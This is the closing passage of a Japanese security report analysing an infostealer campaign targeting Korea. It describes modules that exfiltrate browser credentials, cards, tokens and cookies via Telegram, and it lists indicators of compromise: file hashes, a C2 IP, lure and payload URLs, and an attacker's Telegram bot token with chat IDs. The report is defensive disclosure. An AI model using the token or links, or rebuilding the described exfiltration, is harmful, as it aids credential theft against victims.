主要モジュールはPython製とPureHVNC系の2つです。Python側はブラウザー情報、ログイン、カード、Googleトークン、Facebook Cookieなどを集め、ZIPでTelegramへ流出させます。初回はNew Log notificationへシステム情報、続いてNew Logsへ収集情報を送り、再感染はReset logsのみを使います。感染段階を識別し被害者を分類・追跡する構造で、体系的な管理・攻撃運用が分かります。


チャンネルはハードコードされたボットトークンとチャットIDで動作します。Telegram APIでメッセージを分析した結果、多数の流出が確認され、その大部分は韓国の企業・機関関連でした。下図の分布も、韓国を主標的としていることを定量的に示しています。



[図39]全流出件数に占める韓国の割合


Python側のZIPコメントにはLone NoneというTelegramアカウントがあり、ベトナム拠点と推測されます。自身のマルウェアの回避性能を示すため、ウイルス検査結果のリンクを共有したとみられます。ユーザーファイルを投稿できる公開検査ツールですが、現在リンクへは接続できません。


Lone Noneは作者の可能性が高く、韓国を狙う攻撃者は購入したか、配布だけを別に運営したと推測されます。



[図40]ZIPコメント内のLone none Telegramプロフィール


第2段階でPureHVNC系をメモリへロードします。独自のProtobufオブジェクトRoleResponderに、ウイルス対策、権限、OS、ウォレット・認証アプリ、カメラなどの情報を構造化し、TLSで送信します。プラグインの受信・実行で動的に拡張でき、収集を超えた長期的なシステム掌握の可能性が脅威を高めています。


多段階ロード、精密な収集・送信、プラグイン実行を備えた高度な攻撃キャンペーンです。ソーシャルエンジニアリングからファイルレス実行、モジュール化まで、全段階で検知回避を図り、被害の規模・範囲も広範です。


韓国が主標的であるため、国内の担当者は情報窃取マルウェアの検知強化と先制対応を進める必要があります。実在機関を装う著作権通知メールへの警戒と、従業員の意識向上・事前教育も並行して行うべきです。




7. IoC情報

7.1. SHA256ハッシュ

- B5183D1BF139037F23AB33C1CC8C2282BA696A266D67F0D34D3C74F6945577A4

- A088131E8EB4E2178789AF49B646AB463CF9A1F48DA51698448206DF21DB5C95

- 9E296EDE93F1A918DC58D3D4699A3210A9671584AB5FE3F34B91438137FC8F08

- 08C7FB6067ACC8AC207D28AB616C9EA5BC0D394956455D6A3EECB73F8010F7A2

- BD115A575E86E61CEA9136C5A2C47E090BA484DC2DEE8B51A34111BB094266D5

- C562DE4573FF41992903901DB8355CEE6E4520943923FE3076BA1B9829ABE6E6

- 36160A8D8C4421B9AFA3223AF27DA6BAE94349C1DB633C9D3B9C37B6AA458D61

- 47D9E719076D75CDC25C014BF07466F2FDE047FBD97C284A23BE559061E7E637

- A18BD16BF8B4C95C930F67516003F0F41180D6BAAB17D20880C1B819C3E104CF

- 5A43DC2BBEFCF785B881A289108CB7F947735BFA55E28B75FB0D3823D00E1678


7.2. IP

- 107.178.110.167:56001 ~ 56003


7.3. URL

- https://tr.ee/nnXda2

- https://goo.su/EOTSvI

- https://kiteaero.net?u=https://www.mediafire.com/file/v7a5luie9jbqeui/위반사항+조사파일+내+문서.zip/file

- https://t.me/MRB_EJ5rzJUt9L_bot

- https://is.gd/mt7csjr4

- https://paste.rs/3P12F

- https://t.me/LoneNone

- https://0x0.st/8fw7.txt

- https://api.telegram.org/bot7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ


7.4. Telegram

- BOT TOKEN: 7414494371:AAHsrQDkPrEVyz9z0RoiRS5fJKI-ihKJpzQ

- CHAT ID: - 1002269424055 / New Logs

- CHAT ID: -1002425561453 / Reset Logs

- CHAT ID: - 1002468897237 / New Log Notification